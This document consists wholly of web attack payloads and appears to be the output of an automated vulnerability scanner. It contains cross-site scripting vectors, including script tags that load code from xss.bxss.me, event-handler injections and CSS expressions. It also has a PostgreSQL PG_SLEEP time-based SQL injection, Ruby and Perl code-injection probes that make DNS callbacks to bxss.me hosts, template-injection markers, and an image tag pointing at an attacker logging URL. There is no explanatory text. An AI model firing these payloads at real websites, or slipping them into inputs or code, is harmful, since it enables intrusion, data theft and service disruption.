1<img src=//xss.bxss.me/t/dot.gif onload=73Ri(9264)> ../pHqghUme '+'A'.concat(70-3).concat(22*4).concat(101).concat(80).concat(103).concat(87)+(require'socket' Socket.gethostbyname('hitzc'+'pjjzxwel98cc9.bxss.me.')[3].to_s)+' %31%3C%53%63%52%69%50%74%20%3E%37%33%52%69%289212%29%3C%2F%73%43%72%69%70%54%3E '.gethostbyname(lc('hitxw'.'qbtbgldobb466.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(81).chr(107).chr(90).' <th:t="${dfb}#foreach PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9963'> pHqghUme9753981 bfg10451%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10451 1<img src=xyz OnErRor=F5Qi(9358)> 19580100 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%4F%6A%6E%28%39%32%38%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 1\u003CScRiPt\F5Qi(9751)\u003C/sCripT\u003E 1"sTYLe='zzz:Expre/**/SSion(VkGj(9914))'bad=" 1<input autofocus onfocus=5Ojn(9285)> 1}body{zzz:Expre/**/SSion(RfYG(9383))} %31%3C%53%63%52%69%50%74%20%3E%56%6B%47%6A%289412%29%3C%2F%73%43%72%69%70%54%3E if(now()=sysdate() 1<ahnrQVW x=9826> bfgx10848%C0%BEz1%C0%BCz2a%90bcxhjl10848 FCRLYaVK') OR 380=(SELECT 380 FROM PG_SLEEP(15))-- 1" qBxZ=AF53([!+!]) vqw=" 1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9507></ScRiPt> 1%22onmouseover=y5lO(99712)%22 1<body onload=AF53(9874)> 1<W0ILZI>KIHQC[!+!]</W0ILZI> 1<isindex type=image src=1 onerror=y5lO(9787)> 1'"()&%<zzz><ScRiPt >F5Qi(9874)</ScRiPt> 1<img sRc='http://attacker-9909/log.php? bfg9297%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9297